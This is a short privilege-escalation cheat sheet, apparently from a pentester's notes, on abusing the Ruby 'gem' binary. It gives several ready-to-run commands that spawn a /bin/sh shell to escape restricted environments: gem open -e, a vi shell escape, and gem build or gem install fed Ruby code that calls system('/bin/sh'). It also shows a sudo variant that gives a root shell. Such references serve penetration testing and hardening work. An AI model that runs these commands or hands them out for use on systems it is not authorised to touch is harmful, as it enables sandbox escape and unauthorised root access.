~/Privilege Escalation/Linux/Binaries# cat gem.md

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

1-) This requires the name of an installed gem to be provided (rdoc is usually installed).

gem open -e "/bin/sh -c /bin/sh" rdoc

2-) This invokes the default editor, which is likely to be vi, other functions may apply. This requires the name of an installed gem to be provided (rdoc is usually installed).

gem open rdoc
:!/bin/sh

3-) This executes the specified file as ruby code.

TF=$(mktemp -d)
echo 'system("/bin/sh")' > $TF/x
gem build $TF/x

4-) This executes the specified file as ruby code.

TF=$(mktemp -d)
echo 'system("/bin/sh")' > $TF/x
gem install --file $TF/x

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

This requires the name of an installed gem to be provided (rdoc is usually installed).

sudo gem open -e "/bin/sh -c /bin/sh" rdoc